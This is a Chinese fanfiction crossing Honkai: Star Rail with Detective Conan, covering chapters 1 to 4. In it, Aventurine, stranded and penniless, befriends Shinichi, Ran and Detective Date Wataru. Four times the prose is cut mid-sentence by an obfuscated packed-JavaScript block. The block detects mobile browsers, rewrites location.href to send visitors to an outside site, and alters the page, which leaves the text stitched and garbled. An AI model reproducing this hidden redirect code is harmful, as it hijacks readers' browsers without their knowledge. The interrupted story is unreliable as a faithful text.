《砂金的柯学生活》 1. 第 1 章 砂金习惯只给自己留下两个结局,所有、或者一无所有,但命运这一次似乎选择了“或者”。 【看来我们大名鼎鼎的砂金先生,终于也有失手的时候了?】 身着华丽服饰的幻影站在……一个玩偶熊身边挖苦道,【要我说,你当初拒绝酒馆邀请可真是个不明智的选择、看看吧,】 【有哪个愚者会比现在的你更有乐子?】 “闭嘴吧!同谐的蠢货,”玩偶服里的砂金深深叹了口气,“假面愚者的乐趣是找乐子、看乐子,不是当乐子……” “不对,我和你这家伙计较这些做什么。” 他还有一叠传单没发完呢! 是的,曾经大名鼎鼎的星际和平公司P45高管、战略投资部的砂金先生、石心十人之一的大人物, 现在竟然沦落到了要打工发传单的狼狈份上。 一切还要从黄泉的那一刀说起,砂金的原本的计划是借助不该存在的令使的力量斩断同谐的圣洗,顺便“死”一下给公司创造收复匹诺康尼的机会, 谁知道那位令使碰巧砍到了什么不得了的东西, 再加上又有星神的伟力在暗中搞事——砂金发誓,他昏过去前听到了阿哈的笑声——于是一不小心,他便一穷二白地掉到了这个奇怪世界的奇怪星球上。 是真的一穷二白,身上昂贵的行头被空间风暴片成了烂布条子,珍贵的珠宝装饰碎成渣,全宇宙仅有两只的限量版手表也遗失在了未知的空间中, 连宣誓当生命一般珍视的基石,都不知道丢在了哪里, 砂金留下的只有一身的伤,要不是运气足够好、命途行者的身体素质又足够强大,砂金差点把自己也折进去、变成迷失空间中破破烂烂的漂浮物。 更别说什么找法子联系公司的人来接他了,这个世界和他之前所在的世界都不是一个时空法则的,这不仅仅体现在被压制的力量上…… 谁家正经星期一过完就是星期天啊! 因为混乱的时间线而感觉自己仿佛还在做梦的砂金扶额,脑袋上长鸡翅膀的那混蛋应该会比他更适应这里。 唯一的好消息是在联觉信标的帮助下,不至于让砂金遇上最基础的交流问题, 这也让“初来乍到”就掉进了某个犯罪窝点里的砂金凭着一身的惨状伤势,混上了一个“倒霉被拐卖、又受虐待而失忆了的混血小可怜”身份。 “倒霉”……砂金扶了扶玩偶头套,他还是第一次和这种词挂上勾。 【难道不是一直活在这个词的阴影里吗?】幻影挑了下眉,【倒霉地降生,倒霉地活了下来,倒霉地来到这个地方……】 “别再翻我的脑子了,混蛋。”砂金有一种想扇巴掌都怕对方爽了的复杂心情,“这里没有家族,没有星期日,更没有同谐希佩,你把我同化了也没有用。” 所以不用这么卖力地给他找麻烦。 【砂金】似笑非笑,【我这叫干一行爱一行,赌徒。】 【而且,你也该上班了。】幻影虚虚推着砂金,他们传单还剩下一大叠呢。 因为长得太嫩像未成年、被所有赌博性质的场所拒之门外,又因为没有身份证件、还处在这个世界的警方监管下,所以只能打点零工赚钱的砂金:…… 不就是发传单嘛,他什么活没做过? 无视挑衅的幻影,决定晚上避开人再去找找黑赌场的砂金迈开了沉重的脚步,将传单随手塞到身边的路人手里,同时脚下踩响配备的小喇叭开关, “多罗碧加乐园即将盛大开业!欢迎各位游客前来体验——!” …… “多罗碧加乐园即将盛大开业!欢迎各位游客前来体验——!” 很年轻好听的声音从头套外挂着的喇叭里冒出来,在学校门口、一边看表一边等人的毛利兰就这样被一只毛绒大熊拦住了, 毛利兰:“啊……” “这位美丽又可爱的小姐,”笨拙的大熊努力地伸出一只手、欠了欠腰,做出一副憨厚有礼的可爱姿态,“有兴趣和本熊来场约会吗?” “当然当然,和你在等的朋友来一次约会也不错~” “不不、不是!”正想着某人的毛利兰脸颊瞬间爆红,“我才不要和新一那个家伙约会呢!那家伙总是因为各种原因迟到!” 砂金:好像不打自招了呢。 “总之,”砂金递出传单,“欢迎光临游玩。” 发现自己有些反应过度的毛利兰也有些不好意思,尴尬地准备接过,“谢谢……” “小兰、久等啦!” 然而砂金传单还没放到毛利兰手上,半路就被伸过来的一只手截了胡,工藤新一看了看脸红的幼驯染,如临大敌地扭头看向了玩偶熊,“这位是?” 【砂金】很有愚者作态地摊了下手,【让你乱说话,这下遇见醋坛子了吧~】 砂金:……这个同谐的新生儿真的不能退货吗。 “啊!痛痛痛!!!” “这位是传单熊……倒是你,”毛利兰揪住了工藤新一的耳朵,恼羞成怒地道,“不是约好了社团活动结束后一起回家的吗,你怎么又迟到了?” “我都等了你半个多小时了!” “正好有同学东西丢了,我就…嘶……就小小地推理了一下,对、对不起!” 一看明显是小情侣在闹小矛盾,砂金没插话、准备去发下一张传单了……年轻人的活力是挺好,不过相比看热闹砂金更喜欢去赚钱。 【别年轻人年轻人的说,我们也没多老吧,公司的新秀先生?】 习惯性给砂金找不痛快的【砂金】说完,好像发现了什么、又勾了勾唇道,【有意思的事要发生了。】 有时候砂金真的觉得,【砂金】与其说是同谐的产物、倒不如说对方更像信奉欢愉的家伙。 【别小看自己,】幻影很坦然,【怎么说你也是差点拥抱欢愉的人。】所以他们俩个,半斤对八两罢了。 说来也好笑,砂金刚被翡翠捞回公司的时候,还有不少人好奇这个从奴隶之位爬上来的诈骗犯……如果有那个资格、那他会走上哪一条路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13080577|137997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' , 知道卡卡瓦夏身世的人猜对方可能会步入巡猎的命途,或者走上毁灭之路; 了解卡卡瓦夏为人的人知道对方大可以接受欢愉的邀约,再不及还有“死路一条”——虚无自灭者——可走, 可偏偏,卡卡瓦夏成了砂金,砂金选择了“存护”。 而这个结果意外地让砂金得到了战略投资部的老大、钻石的赏识,毕竟身为存护令使,手下的石心十人中却没有几个正经存护……这实在让人有些尴尬。 【砂金】话音刚落下不久,有意思的事情也发生了,随着一声尖叫和“有人抢劫!”的喊叫声响起,轰嗡嗡的机车声鸣逼近…… 社活结束,一个人回家的年轻女高中生一向是某些犯罪分子首选的犯罪对象, 这次也一样。 戴着头盔、把脸挡的严严实实的男人骑在机车上,一把夺过路边女生的跨包驱车就要逃跑, 而逃跑的必经之路上,正好站着还在发传单的砂金。 “小心——!” 抢劫犯挥着包,看上去想将笨重的传单熊撞倒、用这个可怜的家伙为自己的逃跑拖延时间,至于传单熊旁边的一男一女…… 抢劫犯还没把两个学生放在眼里。 可惜,抢劫犯太过自信了。 毛利兰的反应很快,甩起脚就是一个高抬腿踢了出去,“别想跑!” 挟着劲风的鞋底猛得和抢劫犯的头盔来了个亲密接触,碰一声、抢劫犯从车上摔到了地上,脑袋重重地磕在地面上个还回弹了两下, 手急眼快的工藤新一则一把拽住了传单熊的后脖子,将砂金扯得一个踉跄躲开了失控的机车,玩偶熊的头套却在混乱中被碰掉…… “你没……呃、你没事吧?” 工藤新一说了一半的声音降了两个调,制服抢劫犯的毛利兰抬头时也是愣了一下, 传单熊的皮套下是个身材消瘦、长相优越的年轻男人,一头金色的头发在阳光下灿烂地像在发光一样,相貌更是精致漂亮地像匠人精心雕刻的艺术品, 可一旦注意那双多重瞳色的眼睛,就会被其夺去全部的注意力, 粉紫靛蓝、色彩艳丽的虹膜一层套着一层、犹如炫丽旋转的万花筒,又仿佛带着魔力一般引着人坠入瞳孔最深处的墨色深渊…… 这无疑不是一双万分罕见又十万分美丽神秘的眼睛。 而让工藤新一和毛利兰更为沉默的是青年大面积缠绕在颈部和外露皮肤上的绷带——还记得吗?砂金因穿越而受的伤其实还没好。 观察力出众、距离更近的工藤新一看见的甚至比毛利兰更多,比如脖颈的绷带在穿插间、隐隐约约露出的刺青纹身的痕迹。 一身的伤,还有在这个国家总是带点特殊意义的纹身……工藤新一有些僵硬,他好像遇见了一个不简单的传单熊。 清风吹过了脸颊,视野突然大亮的砂金沉默了几秒后,眨眼笑了笑,“谢啦朋友,我没事,” “多亏了你了,不然被撞到的话、我就又要去医院了呢。” 2. 第 2 章 虽然能力被大大压抑,虽然身负重伤,虽然还穿着厚重的玩偶行动不便、视野不佳,但是不用工藤新一帮忙,砂金一样可以躲开飞来的“横祸”, 可……这并不代表砂金不打算承对方情。 而过去的经历告诉砂金,想“回报”的话最好快一点,谁知道这次的相遇会不会是最后一次见面? “做为感谢,送你了朋友,” 砂金把自己从熊皮里扒了出来,思考了一下,指节律动间,黑金配色、印着黑桃花纹的筹码在工藤新一眼前一闪而过,“希望能给你们带来点好运。” 筹码是砂金拿所剩不多的命途力量捏的,没办法下场筹码雨、但每天捏几个把玩还是没有问题的。 其实如果不是实在贫穷,砂金更想直接打钱,对于他人而言、触手可及的财富会比虚无缥缈的运气更讨人喜欢吧? 砂金执着于“财富”以至到病态的程度、但却从不吝啬,对待“朋友”他一直都很大方, 不过现在这样也不错,对于砂金而言、运气就是他最宝贵的财富。 “什……”工藤新一突然感觉手里多了什么东西,一低头却发现两枚亮闪闪的筹码出现了他的掌心里。 什么时候出现的?工藤新一瞳孔一震,是魔术吗?! 【作为仅存的以阴险狡诈、口蜜腹剑、不可深交而著称的埃维金人……实际上却意外地是个很重感情的人,】 不知道什么时候、已经坐在墙头看起热闹的【砂金】吐槽道,【啊,这听起来可真像个冷笑活。】 不过这些不重要,最重要的是……砂金看着洒了一地的传单、轱辘还在转着倒地的机车、一声不吭仿佛死了有一会儿的抢劫犯, 还有忙着安慰被抢的受害女生的毛利兰。 今天的传单应该是发不成了,等下估计还要去这里的管理政府做个小笔录。 砂金缠满绷带的一只手搭在了工藤新一的肩上,“朋友,介意帮人帮到底吗?” 不敢乱动、生怕碰碎了瓷娃娃的工藤新一压下情绪勉强应下,“什么忙?” “我等下还有些事,所以笔录……”砂金再次眨眨眼睛,暗示道,“应该用不到我吧?” “我有个……呃,不太想见到的朋友在警视厅上班,他可能也不太想见到我。” 绷带装还是太超前了,砂金凭着得天独厚的脸找了好几天,也才有一个收传单的活不怕他死在岗位上、愿意让他做一做,要是再走一趟警局耽误上一会儿…… 那这活也没戏了。 【我才刚夸完你重感情,这转头就“利用”上了吗,】幻影学着砂金的语气,【朋友~听听,哪个正常人会这么交朋友?】 砂金……砂金都懒得搭理幻影了。 总有人认为砂金把“朋友”当作“筹码”的行为虚伪无耻、为达目的无所不用其极,但有谁想到这样一点——“筹码”虽然往往是被抛上赌桌的工具, 但也一向是赌徒最为看重的存在。 砂金足够看重“朋友”,“朋友”才有成为“筹码”价值;反之也是一样,自身没有价值,又凭什么能成为别人的“朋友”与“筹码”呢? 砂金利用他人,当然也允许他人反过来利用他,必要的时候背叛他也没什么大不了的,价值的互换利用才能让彼此间的关系更加密切, 什么都不索求、凭空建立的感情反而会让砂金深感不适。 【这听起来可不像是“正常的价值观和交友观”,但也没办法,】幻影自嘲道,【我们都不怎么会交朋友。】 同一时刻,不会交朋友砂金还不知道他短短的几句话,给了工藤新一多大的震撼, 已知, 传单熊看上去像个和他同龄的未成年,身高和他差不了多少,但竟然会有纹身…… 当然,这没什么……工藤新一说服自己不要戴上有色眼镜,虽然在本国的传统观念和大部分现状中,只有极道成员热衷于用这种皮上的艺术装饰自己, 但以传单熊没有那么深邃的五官骨骼和金发异瞳来看,对方大概也是个混血儿,也许传单熊的父母就是很开明、允许未成年纹身的那种类型呢? 然后是绷带……鼻间浓重的药味让工藤新一说服自己对方这是在奇装异服都说服不通,所以伤成这样了为什么还要出来发传单啊! 再然后,工藤新一握着手里的“礼物”,很难理解什么人会随身携带“筹码”这种东西, 未成年也许可以纹身,但绝对绝对不允许参与赌博的吧?! 最后, 什么叫警视厅有一个不想看见他的朋友? 这个“朋友”是正经朋友吗??? 接触的案子多了,最近各种未成年犯罪的例子又频出不穷,工藤新一难免控制不住自己的脑子往一些很可刑可铐的方向上思考, 比如说,害怕被警方发现,只能拖着伤打零工的不良少年、小混混、偷渡客、在逃嫌疑犯……等等, 某种概念上,工藤新一格外灵敏的犯罪者勘测雷达倒也没有出错。 工藤新一犹犹豫豫,试图理解砂金身上那些不合理的地方、不去把初次见面的陌生人想得太坏,“你遇到什么困难了吗,我应该可以帮上忙。” 幻影:【他在怀疑你了。】 砂金没介意这些,对比上一位他主动接触的万界之癌小朋友的警觉而言,工藤新一的反应只能说很正常, 这不是坏事,要是工藤新一一点都不对他起疑,砂金才要怀疑对方是不是太过于“善良”了, 尤其是在这个……呃,犯罪率略高的地区中,砂金熟悉这里的环境也不过一周的时间,却已经在找工作的过程中目瞩了两起杀人案、四起抢劫案了, 警惕心强一点也挺好,至少不会突然失踪、死在哪个无人知晓的角落里——在星际里这种事并不罕见。 “总之,我相信你、朋友。” 砂金麻利地收拾东西准备走人,怀疑他又怎样?反正工藤新一没证据把他扣下来,那他当然要先跑为敬, 找法子挣钱才是大事! “相信谁?” 幽幽又沉闷的声音一出,捡传单的动作一僵、砂金听到【砂金】发出爆鸣一样肆意的嘲笑, 该死的混蛋! 不停地和他说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13080578|137997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话吐槽、扰乱他的思绪,原来就是为了这个!!! 看见某人不仅没有替砂金通风报信、反而在捣乱的【砂金】坐在墙头、捂着肚子哈哈大笑,【抱歉了朋友~你这下跑不掉了吧哈哈哈哈哈!!!】 他可不是什么“好人”,看本体吃瘪才是大事! 想跑的砂金慢了一步,双脚突然离地,工藤新一就看见一位身高超两米,咬着牙签、留着平头的健壮男人一把拎起了瘦弱砂金的后脖颈…… “我记得你今天应该待在娜塔莉家里接受补习才对,为什么又偷偷跑出来?” 啧,砂金沉默,被不想见到的朋友逮住了,之前便说过,砂金一向对无所索求、却无缘无故对他好的“朋友”没辙。 砂金不知道这算不算是阿哈对他拒绝欢愉的报复,自从他来到这个星球上,力量被压制的总监大人就总是很没面子。 工藤新一:……我需要报警吗? 一看就不太像好人的健壮男人叹了口气,掏出证件展示给工藤新一,“我是警视厅搜查一科的刑警、伊达航,同时也算是这家伙的临时监护人。” “喂、警官先生,”砂金反抗,“骨龄检测的结果应该已经出来了,我真的是成年人,所以不需要监护人了吧?” 最好再给他一份干净的身份证明,他现在连个刮刮乐都买不了! 再优秀的赌徒,上不了赌桌也无能为力。 瞅着砂金那张漂亮而显得很年轻的脸、还有手上轻飘飘的重量,伊达航心情很复杂,很不想承认他拎着的这个家伙真的成年了, 难道金毛混血儿都有一张娃娃脸吗?伊达航想到了他那位一毕业就失踪了的黑皮同期, “很遗憾,”伊达航把人放在身边,轻轻拍了拍砂金的肩膀,“你的心理检查报告没合格,所以你还是老实一点吧。” 这真不怪砂金演技不好、骗不过心理医生,航行星际的时候,每个星球、每个种族、每个派系都各有各的特性, 比如悲悼伶人视喜悦为虚假的诱惑,信奉禁欲与苦修,以经历哀恸、锤炼精神为常态;假面愚者则正好与之相反, 没有人能以一个定性的规则来敲定谁才是正常人……大部分情况下,都是疯子的可能性更大,区别无外乎谁更疯一点罢了。 在疯子堆里混久了,自然不知道什么叫做“正常”了。 所以,砂金觉得他吃了个哑巴亏……他一个初来乍到的外星人,怎么知道这个星球的心理健康标准是什么? 毕竟,他公司入职的时候也没有这项检查。 看着明显有点不爽的砂金,伊达航只觉得头大,从阴暗的地下室把人救出来的时候,他是一点都没有想到这位奄奄一息的可怜受害者…… 会是这种性格。 自信,张扬,开朗,健谈……放在哪一个普通人身上,都是正面反馈的形容词,偏偏放在砂金身上,却让见过对方那般伤势和纹身的伊达航根本放不下心, 就像抑郁症患者突然笑容满面地说他精神好了不少、生活中到处充满了希望一样,这有时代表的并不是“康复”, 而是抑郁转双相。 3. 第 3 章 伊达航和砂金的第一次见面是在将近两个多月前,那时候追查一起连环杀人案的警官先生在嫌疑人家中紧锁的地下室找到了对方。 那时的砂金仿佛刚从血水里捞出来一样,外露的皮肤上布满了利器造成的伤口,深可见骨、血浸残衣, 伊达航险些以为摆在他面前的是一具改了花刀的尸体,医务人员抢救时都不敢大力搬运对方、生怕一个不小心就让人直接咽了气, 甚至后续在ICU的两个月里,警方也代为签属了十几张病危通知书。 但在此期间,砂金的身份一直都是个谜, 伊达航追捕的连环杀手在警方围困强行突破之前,就已经在自己的房间里饮弹自尽,犯人家中也没有任何有关砂金的身世线索, 没有身份信息,没有入境手续,没有失踪人口报案,没有任何就诊记录,没有学籍户籍,没有犯罪前科…… 什么都没有,这个人仿佛凭空出现在这个世界上一样, 但那怎么可能? 最终,警方只能根据犯人涉嫌贩卖人口、拐卖儿童的前科,和受害人脖颈侧依稀可以辨别出“slave”字样、形似条纹码的纹身来判断砂金的大致身份,那就是…… 被犯人从黑色渠道买回来囚禁、或者是还没得及转手买出的“奴隶”——尤其是砂金长得还很好看,更像是不法分子会下手的目标。 不妙的是、躺了两月终于清醒过来的受害人疑似创伤后应激障碍而导致了失忆,自述除了一个不像名字的名字之外、什么都不记得, 警方依旧没有找出砂金的身世,只能指派自己人暂时担当对方的临时监护人,以方便进行后续的跟近调查。 而这个“自己人”正是第一个发现砂金的伊达航。 其实,伊达航在接砂金回家时就已经做好了这个“孩子”会很难养的准备,但还有娜塔莉在,有丰富教师经验的爱人帮忙,伊达航觉得就算难也不会难到哪种程度上, 结果事实是,伊达航的心理准备还是做少了。 接砂金出院的第一天,亲眼看着砂金在出院单鉴字栏上按指纹的伊达航,平静地接受了这孩子是个“文盲”的事实, 砂金到伊达航家的第一天,伊达航在沉默中看着砂金三言两语地把娜塔莉哄得心花怒放, 砂金到伊达航家的第二天,给砂金换纱布时却发现伤口又裂开了的伊达航才问出来,原来前天临睡前砂金一口气做了一百个俯卧撑就为了让自己不失眠, 砂金到伊达航家的第三天,娜塔莉开始教砂金习字,却在无意中撞见砂金对着空气吵架,吓得伊达航连忙把人送去了医院、做了个全方面的精神检查, 砂金到伊达航家的第四天,凭着不能老关着孩子——尤其砂金还有被囚禁的不好经历——的开明思想,娜塔莉鼓励砂金去外面逛逛,多接触点别人, 砂金到伊达航家的第五天,巡逻中的伊达航接到了民众举报电话,在一家□□店门口找到了试图“玩两把”、但被店主严肃拒绝而可怜巴巴的砂金, 砂金到伊达航家的第六天,半夜想去看看砂金有没有又失眠的伊达航,在客厅窗户边抓住了试图跳窗逃跑的某人, 顺便一提,砂金那双仿佛会发光的眼睛飘在一片黑暗的半空中时,真的很吓人。 砂金到伊达航家的第七天,也就是今天,再次接到报警的伊达航在“案发现场”抓到了一只逃了补课、在发传单打工赚钱的砂金。 知道的,知道伊达航这是在照顾有心理阴影的受害人,不知道的…… 还以为伊达航这是在哪捡了只热爱半夜跳酷、没事就想出门捕猎包养铲屎官、有些神经但品相极佳、还极其会讨人喜欢的流浪猫。 猫……不对,砂金的事先放放,伊达航叹口气,迎上另一边的毛利兰,“这位小姐,我能了解一下事情经过吗……” 伊达航就是接到抢劫报警电话才来的。 …… 被抢的、抢劫的、目击的、见义勇为的,一应俱全,案子结得很快,抱着布偶服、无聊地坐在警视厅等候室里的砂金还在发呆。 母神的祝福……是被收回了吗?砂金不知道自己是什么心情,到了这个世界之后他好像一直不怎么走运。 【有没有一种可能,赌徒?】幻影挑眉,【芬戈妈妈认为,现在的发展对你而言才是“幸运”。】 “……你竟然还会安慰我?” 【瞅你这话说的,我们可是一体的、我不关心你还能关心谁?】 “……”砂金露出了看见脏东西的表情,直白地道,“你真恶心。” 【谢谢夸奖,彼此彼此。】 “你说什么?”刚结束工作,推门进来的伊达航下意识又问了一声。 “没什么,”砂金往后一靠,看着抱了一大叠资料的警官先生走到他面前,“伊达先生这是还没忙完吗?” 伊达航:“不算是。” 砂金:“?” “这是你想要,你的身份证明材料。” 伊达航将需要签字的文件放在砂金面前晃了晃,“因为缺失的个人信息有些多,每项都要走流程一层层报备确认,花的时间也多了些。” 砂金眼睛更亮了,这是身份证明吗? 不!这分明是赌博许可证! 毕竟人生地不熟的,黑赌场一时半会儿也没那么好找。 然而砂金刚伸出手,伊达航却猛得收回了文件,话音一转,“不过,在此之前我觉得我们还需要再聊一聊。” “好吧好吧,”为了不再被人当成是未成年,砂金无奈妥协,“开诚布公是吧?我都懂,所以来吧、你想聊点什么?” 砂金一只手支着下巴,另一只手点了点自己的脑袋,“我的记忆有没有恢复?我很抱歉朋友,我可以说是脑袋空空的最佳代表——我什么都没有想起来,” 也不可能想起来,因为“失忆”本就是个伪命题。 “或者是让我在上娜塔莉夫人的课时认真一点?你要相信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13080579|137997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我,我在学习知识的时候是最认真的了,今天的逃课只是个小小的意外而已。” 这倒是真活,砂金清楚地明白“知识”的宝贵——他可不想上了赌桌,却连这个世界的牌面和货币都看不懂, 联觉信标只能帮他跨过“媒介”直接知晓沟通的内容,可不能帮他成为一个大文豪。 “再或者是……”砂金嘴角挂上了营业性的微笑,“这段时间有关医疗费、误工费、学费之类的支出费用清单?” “不必担心,我从不会让朋友做赔本买卖,你现在的‘投资’我日后会加十倍返还……” “甚至不需要你等多久,只要你把那个给我,”砂金眼神示意着伊达航手里的文件,“我明天就能向你证明、我绝对说到做到。” “你只需要稍微有一点点的耐心,等我……”在赌桌上大干一场。 伊达航出声打断砂金的侃侃而谈,“现在需要耐心的可不是我。” 疑似阳性精神分裂症,出现妄想、幻觉,但未见行为和思想的异常等其他典型症状;兼并轻微的表演型人格障碍症状;自我意识稀薄,具有一定的自毁倾向;轻度焦虑抑郁等…… 非专业人士的伊达航一想到诊断书上那一串看得懂或看不懂的名词,就很头大——这可不是一个简单的“问题儿童”一词就可以概括的, 砂金现在还没被强制入院治疗,都全亏了他没什么“攻击性”和“社会危害性”,以及入院那种封闭式治疗更会加重被害人心理压力的缘故。 所以就算今天伊达航没抓到翘课的砂金,这场谈话也是逃不掉的,现在只是提前了一点而已。 好在身高体壮但心细的伊达航在还在警校期间,就常担任除某位同期之外的调理员一职,谈谈心说说话什么的也算是得心应手。 砂金愣了愣,就听到伊达航继续道,“你不觉得太着急了的人,是你自己吗?” 没有人逼着砂金去做什么,为受害人提供一个安全的庇护所是伊达航他身为警察的职责,偏偏砂金自己在为难自己,伤还没好就想着怎么尽快独立出去。 “我不反对你想要自力更生的打算,可你要清楚一点,你对这个社会完全不了解、不清楚、不熟悉,你甚至都不识字。” 不仅仅是因为失忆,伊达航能看出来砂金对很多东西都有一种不胜熟悉的陌生感,失忆可不会让人丧失常识,所以这只能解释为砂金被囚禁了太久、与社会产生了脱节。 “那么,”伊达航问道,“你为什么不能等自己有一定的独立生活的能力之后,再考虑赚钱这种事?” 可以说,砂金如今的文化水平还不如一个小学生,试问有哪个合格的家长会放心让小学生外出打工的? 想到砂金总往□□店老虎机上飘的眼神,伊达航语重心长地补充道,“还有,我理解你可能是受到了之前监护人的不良影响,但是赌博这种东西还是少碰的好,” “一夜暴富的美梦每个赌徒都做过,但能有几个梦想成真的。” 4. 第 4 章 然而砂金听不到警官先生后半段的“衷告”,他的脑袋里现在充满了“同谐”的声音。 【是啊,他说的没错……你为什么这么急促不安呢?】 【砂金】支着下巴,另一只手在半空中一点一点的,嘴角的笑容仿佛是复制了刚刚砂金的表情,像砂金之前那样“若有所思”地吐出了尖锐的字词, 【嘴巴上说着什么所有、一无所有的,真的一无所有的时候反而慌了神了?】幻影半嘲半笑道,【失去了“砂金”的那层皮,没了基石、和握在手里的筹码,就这么让你没有安全感吗。】 该死的……砂金不禁怀疑,现在真的是芬戈妈妈认为的最“幸运”的发展吗? 明明按原计划,十七个系统时之后,不管是什么结果、他都可以摆脱这个混蛋,结果现在不知道还要听对方挖苦自己多久…… 【哎呀呀,不过我也能理解,谁让我们除了运气之外,根本就没有能拿得出手的东西了呢,】幻影可不管砂金怎么想,继续喋喋不休着, 【不赶紧提升自己的价值、证明自己货真价实的话,那可就连“朋友”都没得做了,就不定又会被转手卖掉……】 话说了一半,【砂金】突然改口道,【啊、差点忘了,伊达先生是个警察……应该不会买卖人口,也许会觉得你太麻烦了,直接丢掉?】 【毕竟把你卖了也值不了几个钱嘛。】 没得到回应的伊达航又叫了一声好像走神了的砂金,“……抱歉、我刚刚是不是语气太重了。” 【到时候你可以试试那位花火小姐的建议,脱光了衣服跪在地上,然后哭着向他保证“警官先生~我很快就可以赚到钱的,别赶我走~”】 【砂金】的声音再一次盖过伊达航的问话,【说不定我们的警官先生就善心大发,准备多白养你几天了。】 “砂金,你还好吗……” 【再不然……】 半实半虚的影子坐在砂金身边的沙发扶手上,侧着身子凑到砂金耳边细语,【该不会是因为摸不上赌桌的无力感,让你想到了我们主人曾经的“衷告”,于是感到不甘吧?】 【让我想想,他那时是怎么说的……】 “砂金?” 【“奴隶,别忘了自己的身份,你压根没有上桌的资格。”】 “闭嘴、混蛋——!” …… “抱歉,我不是指你、警官先生,”砂金疲惫地揉了揉太阳穴,被撞破后他也没想过要瞒着对方,“你知道的,我这里有个聒噪、喜欢乱翻别人脑袋的家伙,” “总是在叽叽喳喳的乱叫……” 他本来不应该这么失态烦燥的,再难听到无法入耳的话也不是没有听过,果然还是“同谐”对精神影响的后遗症吧…… 温热的手掌突然覆盖在了耳朵上,砂金微微一惊、甚至还能感觉到厚实的枪茧磨擦到皮肤的感觉,被捧住头的砂金有些无措, “警官先生,你这是?” “这样好点了没有?” 半蹲在砂金身前的伊达航伸出双手捂住了砂金的双耳,关切地注视着砂金失神放大的瞳孔一点点恢复正常,“现在还能听见别的声音吗?” 犯规的一枪打中了砂金的心脏, 【砂金】见此直起身、耸了下肩,慢慢消失在了空气中,【没意思,你们聊吧。】 砂金顿了顿,“……他安静了。” 砂金知道【砂金】不会永远消失,这个世界上没有第二个令使来帮他斩除同谐的圣洗,但这一时已经足够了。 “那就好。”伊达航收回胳膊,顺手又揉了揉砂金的头发,如同一个可靠的长年者关怀着下一代,“有不舒服的地方要及时告诉我。” “警官先生……”砂金笑了笑,比之前多了几分真情实感,“有人说过你很有长辈的胸怀吗?” 砂金从来没有体验过父爱是种什么样的感觉,他的父亲在他出生前就已经被埋藏在了黄沙之中,现在倒是有幸的体验了一把。 伊达航也不好意思地笑了笑,身高两米的大汉红了耳朵尖,“我有个朋友倒是管我叫过‘班长妈妈’。” “哈哈哈……很贴切的形容。” 所以像“父亲”这种类型的人,是可以倾诉的吧?这里没有敌人,他应该可以“放松”一些…… “那好吧,开诚布公的确应该先从自己开始,”砂金冲伊达航摊开了空无一物的手掌,“伊达先生,我为我之前擅自揣摩您的善意而道歉,你是个好人,” 【砂金】或许说的没错,从到这个世界开始,砂金就是“幸运”的, 他碰上的第一个人是伊达航,对方是个很有责任心又善良的人,对方很完美地担当起了“新世界引路人”的角色, 可能是因为砂金触发了“新人福利”,砂金在这个新世界的一开始便得到了不掺一点杂质的善意,要知道当初翡翠保下他的时候、都没有用心这么纯善过。 伊达航会带他治伤看病,会找人教他习字,会每天掰着药片、一片一片数着给他用药,会半夜好几次偷偷来观察他的睡眠状况,会一次次不厌其烦告诉他一些这个星球上的“常识”…… 如果这是一个游戏,砂金一定会为这位“引导NPC”打上五星好评,再给游戏策划打上一大笔信用点以作奖励。 但这是现实, “但是我什么都没有,我没有办法心安理得地接受您的帮助,我会为不知道该怎么报答你的善举而烦恼,” 还是如【砂金】所言,身无分文的窘况、没有值价的自身、没有资格上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13080580|137997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桌的不甘……每一样都是坠在砂金身后、追穷不舍的毒蛇猛兽, 砂金不得不逼自己向前跑, “没有所求的帮助会让我迷茫。” 价值交换不存在的话,“朋友”的关系也就不成立; 但无所求便对他的人只有他的亲人们和逃亡路途中、侥幸遇到过的对他有恩的人……而这些人仿佛被他的“好运”诅咒了一样,都不在了。 砂金不想再经历那样的事,所以他需要与伊达航建立起一个合格的“朋友”关系。 